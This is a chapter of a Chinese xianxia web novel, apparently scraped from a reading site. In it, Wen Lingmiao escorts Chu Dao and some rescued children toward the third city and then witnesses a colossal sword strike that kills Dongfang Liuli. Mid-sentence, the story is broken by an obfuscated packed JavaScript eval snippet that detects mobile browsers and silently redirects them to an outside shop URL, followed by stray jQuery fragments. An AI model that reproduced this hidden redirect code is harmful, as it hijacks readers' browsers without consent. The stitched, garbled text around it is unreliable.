默认冷灰
24号文字
方正启体

11. 明剑

作者:虚构氦闪本书字数:K更新时间:
    楚刀得意的笑容一下僵住,不敢相信自己的耳朵。修仙界无人不知魂契的珍贵和重要,有一个绝对忠诚,能替人出生入死的仆从,等同于多了一条命,是无数人做梦都求不得的。她活这些年,只听过魂仆死了,没见过有主人会主动解契。而此人却像随手拈起花一样,不在意了,便轻飘飘放下。


    难道不该高兴吗?楚刀忽然有些茫然,她在提出魂契的一刻,就已做好和妹妹永别,失去一生自由乃至生命的准备,如今重获这些无价宝物,她却不知为何,没有意料中的激动。平心而论,这人来路诡异,出身不明,浑身上下充满矛盾,一看就很麻烦。偏偏善恶难辨,下手又狠又邪。跟着她,自己怕不会活得很长。


    但当她见那道纤瘦背影真要离开,心中却空落落的。


    楚刀回过头,目光扫过身后因长期少食缺水而干瘪无力的孩子们,再在同样虚弱的楚盈身上停去一瞬,缓缓咬住嘴唇。


    魂契是约束,也是保护。以他们目前的情况,若再遇险,无异羊入虎口。她和身后的所有人,都急需一个倚仗。


    “大人请留步!”楚刀猛然转头,却见温泠淼已半步踏出门外,听见背后声音,她微微侧脸,惨白带血的面容被薄淡阳光照透,好似下一秒便会消散入其中。


    楚刀三步并作两步,跑到温泠淼面前,微微弯腰,却是以平等的姿态,不卑不亢道,“如您所见,我们被关了太久,大多数人已两天滴水未进,十分虚弱。虽琉璃楼如今已遭大难,但无法保证没有其他有心之人,若再遭遇不测,我们没有任何反击之力。”


    “但我不奢望能无条件得到大人的庇佑,只是我以为,大人虽实力强大,却仍有一些小事不甚清楚,若大人不嫌弃,到宗门大选前这几日,我可为大人答疑解惑,知无不言,并对大人的一切情况守口如瓶。以此换您将我们护送到第三城内。”


    温泠淼挑眉,她的善心相当有限,来这主要就为左槐,孩子们不过是见了便顺手相帮。在她看来,能留下必要的生存资料,已是尽了情分。


    至于楚刀,她身上是有些秘密,但温泠淼对小说中只字未提的人与事并不好奇。魂契本身也只为验证她欺骗与否,防止节外生枝。如今事已成,便该就此告别。


    她的路,只能自己去走。她并不想和这个世界的任何人扯上太深的关系,更无意绑上一个孩子的一生。


    但短期的交易却不同,这小孩真的很聪明,经历王麻子一劫后,警惕不少。提出的条件倒也正好对上她所需。


    温泠淼冷淡道,“可。”


    她声音虽冷,却并无不悦,楚刀欣喜万分,蹦跳着转过身去,像孩子王一样点兵点将,指挥孩子们平分了银两,再将情况和安排一一解释。


    温泠淼不管这些,踱步到房外,倚墙而立,微微合上眼,开始思考一个严峻的问题。


    那就是怎么恢复灵力。


    那厢的楚刀自然不可能知道,自己找的靠山正面临灵力枯竭,无法恢复的大问题,并没比他们的情况好到哪去。温泠淼回想起原书的相关描述,眉头微皱,按照书中说法,恢复灵力和修炼滋长灵力一脉相承,都是照着功法运灵,沟通吸纳天地灵气。只要会修炼的,恢复灵力不该是问题。但偏偏她是野路子,对于修炼,系统只留下“多喝水”的三字真言便撂了挑子。喝水是可增长灵力,但对如何运灵,她却浑然不知,就连那什么天地灵气都感受不到,更何谈吸纳。现在的她,除却力气大些,和普通人没什么区别。


    她再心念一动,将王麻子的储物戒指又翻了个便,还是没见着他们用的青阳功法的影子,只能心中叹一口气,放出系统面板,死马当活马医地戳了戳,心中催道:“喂,你宿主只会喝水,要在回城路上被抢劫而死了,菜菜,功法,教教。”


    但任她如何戳弄,系统只把装死大法贯彻到底,亮着还需喝十天酒的提示,不动如山。温泠淼戳累了,将面板收起,心下暗念一句“还是去找楚刀问她的功法罢。”,却不知这话让系统受了什么刺激,挣脱她的意识,将面板强势闪在她眼前,其上再不是冰冷的进度,而是三个大字。


    “往漱玉。”


    温泠淼眉头越拢越深,意思是让她去偷学漱玉的功法?这三字虽简单,却透露出不少信息,系统为何点名要去漱玉,还是在她提及楚刀的功法后,难道喝水神功和其他功法不兼容?为何偏偏是漱玉,与她此次宗门大选的目标恰好相同,她可不认为是巧合。系统是否知道此地是书中世界,而它的意识又是何来?


    已知信息太少,她再如何动脑都想不通。温泠淼伸手揉了揉眉心,先将注意力放回面前的事情上,系统这三字除了给她带来更大的疑惑外,无法解决任何问题。她现在还不知自己灵根如何,也不懂功法,修炼还靠系统,不能这么早跟它闹掰,那么只能自己先想办法了。


    罢了,温泠淼启动我寻思之力,催动体内所剩无几的灵力顺着血脉流动,先体循环再肺循环,如此按着不多的生物知识运了几周天后,她忽然发现血脉中的灵力多了一丝。


    温泠淼惊喜地睁开眼,高中生物还真有效果?她听房里孩子们的声音还在响个没完,便又闭眼继续争分夺秒运灵。


    等楚刀和楚盈两姐妹终于叽叽喳喳地将一切安顿好时,一个时辰已过,而在此期间温泠淼终于恢复了约二十分之一的灵力,她握了握拳,见熟悉的力量又回到手中,露出一丝满意的笑。


    温泠淼往两姐妹身后看去,却见孩子少了几个,一问才知有些体力保存较好,灵力还算充沛的小孩婉拒了提议,在郑重道谢后便先一步离开了。


    她微微颔首,也不多话,拍去身上的尘土起身。先找到被楚刀藏在院中草堆里,昏迷不醒的左槐。见他四肢软绵,浑身鞭痕血痂,只剩最后一口气的样子,温泠淼心中一窒,她还是怀念那个牙尖嘴利的左管事。


    可惜她对王麻子那堆草药丹丸的效果一窍不通,只能先想办法把人移回第三城,到时是找郎中还是问药效都方便。她蹲下身,将左槐扶到背上,虽然站起时腿还是疼得厉害,像被人拿榔头当着膝盖骨敲下一般,但温泠淼还是咬牙运起灵力往腿上灌去,深一脚浅一脚走了起来。


    一行人在废墟上摸索着,途经万道残桩,和卷了沙石滚滚而来的浑浊溪流,向不远处永恒坚固的城池前进,步子不快,有时孩子们累了,还不得不停下休息。按温泠淼原先脚程,不过半炷香便可走完的路,如今过了小半个时辰,才行了不到一半。


    途中,不少地势较高的土坡被拦腰切开,露出斑斑白骨,一层压着一层,最底下的已化成了粉。温泠淼只扫一眼过去,就静静移开目光,扶着身后人的指节因骤然用力而变得苍白。


    骨架极瘦小,同她身后的孩子们没什么两样。


    如果这不过大梦一场,游戏异界一趟,那一定是最烂的一款游戏。


    孩子们走过土堆时,手脚都哆嗦不止,才后知后觉若不是幸运地碰上个怪人,他日,自己也将成为这葱郁老林的肥料。他们再往前看去,又看见最前方那人不为所动,依旧一步步前行的样子,忽然觉得那具枯瘦的背影,有着扛起一片小小天空的力量,心中安定不少。


    楚刀紧随在她后面,心情亦是沉重,最终实在耐不住这沉闷的氛围,换个话题问道:“大人同他是什么关系,亲戚?”


    温泠淼微喘着气,只顾看脚下的路,冷淡地答,“一面之缘而已。我付钱,坐他的车。没想到之前的仇家把他卷了进来。”


    “交易已结,则后续应再无关系,大人何须这么拼命,”楚刀犹豫一下,还是问出了口,“若他醒了还要怪您,怎么办?”


    “他因我的疏漏,无端受了折磨,我再做什么,都只是补偿,没立场要求他原谅。他恨我是应该。”温泠淼回头看她一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413787|200728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼,似有所指地说,“但我无所谓原谅,我来,只为自己心里过得去。他如何想是他的事,与我无关。”


    楚刀闻言,垂下眼睛,若有所思,温泠淼也不再多话,抬头遥望南方天际,心中记挂起琉璃楼那方战场。这可是十几个金丹甚至元婴修士的争斗,要出什么意外,她可兜不了底。


    南方天穹不同于周边的清朗,浓云密布,云中透下变幻莫测的七彩光辉,瑰丽异常,看来斗法还没结束。


    她微微眯起眼,照瘦子的说法,琉璃楼和城主府勾结颇深,这些从第三城出来的人,该不会用尽全力,没准东方琉璃和易姓男子不过是在表演比划罢了。只是宗门大选在即,不知那些为大选而来的各派强者是否参与其中,又怀有怎样的态度。


    就在她思考之时,天边彩芒一暗,昭示着斗法近了尾声。温泠淼唇边勾出讽刺的幅度,她对结果并不乐观,无论幕后推手何人,要把一个盘根错节的势力就此拔起,并没这么简单。


    盛世太平已久,人就会松懈。松懈到忘了魔族的残忍,和其背后代表的东西。


    果然,下一秒,一道七彩光辉便如流星划过天际,向东逃窜开去,温泠淼将灵力集中眼周,把视力提到极致,再看过去,就见了辉光中熟悉的彩衣身影。东方琉璃虽形容狼狈,却溜得飞快,似没受什么致命伤,反倒是身后奋力追赶的灰衣剑客一副有心无力样子。二人距离越拉越远,眼看着她便要逃出围剿之外。


    温泠淼唇角幅度更大,早在那道声音说的是“伏罪”而非“就地诛杀”时,她便料到了现在的场面。


    “趴下!”突然,她笑容一滞,面色大变,卸下左槐,飞身过去将最近的楚刀二人扑在身下,孩子们见她动作,虽不知何事发生,却也听话地伏倒在地。


    话音未落,一道相似的余波再度袭来,刮破万里云层,将天空搅成散碎一片。


    好在这次事发高空,已经千疮百孔的地表勉强逃过一劫。


    长风过境,威压不止。温泠淼暗骂一声还来,顶着熟悉的感觉转头看去,却骇然发现天边忽然多了第二轮太阳似的巨物,纯白刺目,占满半个天穹,她再看,才发现是一道剑影。


    那剑一出,仿佛夺了天地万物的光芒,就连真正的朝阳在它面前也黯然失色。温泠淼才看去一瞬,就觉眼睛刺痛难忍,因涌入过量的光芒而短暂失明,耳畔响起尖锐的啸叫。


    她从未见过,甚至无从想象这样的一剑,璀璨,却又极度危险。温泠淼一时痴了,竟忘记该如何闭眼,任由面颊上泪混着血不住流下,心中浮现一个不恰当的比喻,简直像科幻电影里的氦闪,又像太阳骤然膨胀百倍,化作耀眼巨物垂临人间,将所有渺小生灵尽数吞噬,化进光里。


    除却光,她什么都看不见了,只能感受太阳风喷到面上的炽热。


    下一秒,巨物骤然收缩,凝成剑尖一线,分明是早上,温泠淼却觉得失了第二轮太阳的天,就如夜一样黑,伸手不见五指,只有那线像黑纸上撕出的缝隙,刺目无比,而后,向着彩衣身影斩下。


    东方琉璃在这杀出的程咬金前,也知大难临头,不知用了什么秘法,气息再度暴涨,将此前藏着掖着的各式阵法符篆不要钱样地甩出,但那剑终究来得太准,太快,太过霸道。无论多厉害的法宝,在碰到夺目剑芒的一瞬,便化作蒸汽散了。她咬牙一狠,最后祭出自己的本命武器万彩琉璃灯。那彩灯上三层琉璃脆片次第旋转,竟在她周身展开九层同浮光掠影阵相似的剔透阵法,其上灵力线尽数亮起,一看便是将防护开到最大。随后她眼睛一闭,化身元婴,就欲趁其拖住的时间弃身而逃。


    但所有的努力,在这无情的一剑面前,都不过徒劳。一剑,万彩琉璃灯破,九层阵法脆若金纸,一触即散,一剑,撕裂她的身躯,一剑,破空而至,将她元婴追上,烧得灰烬都不剩。


    一剑,斩东方琉璃。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)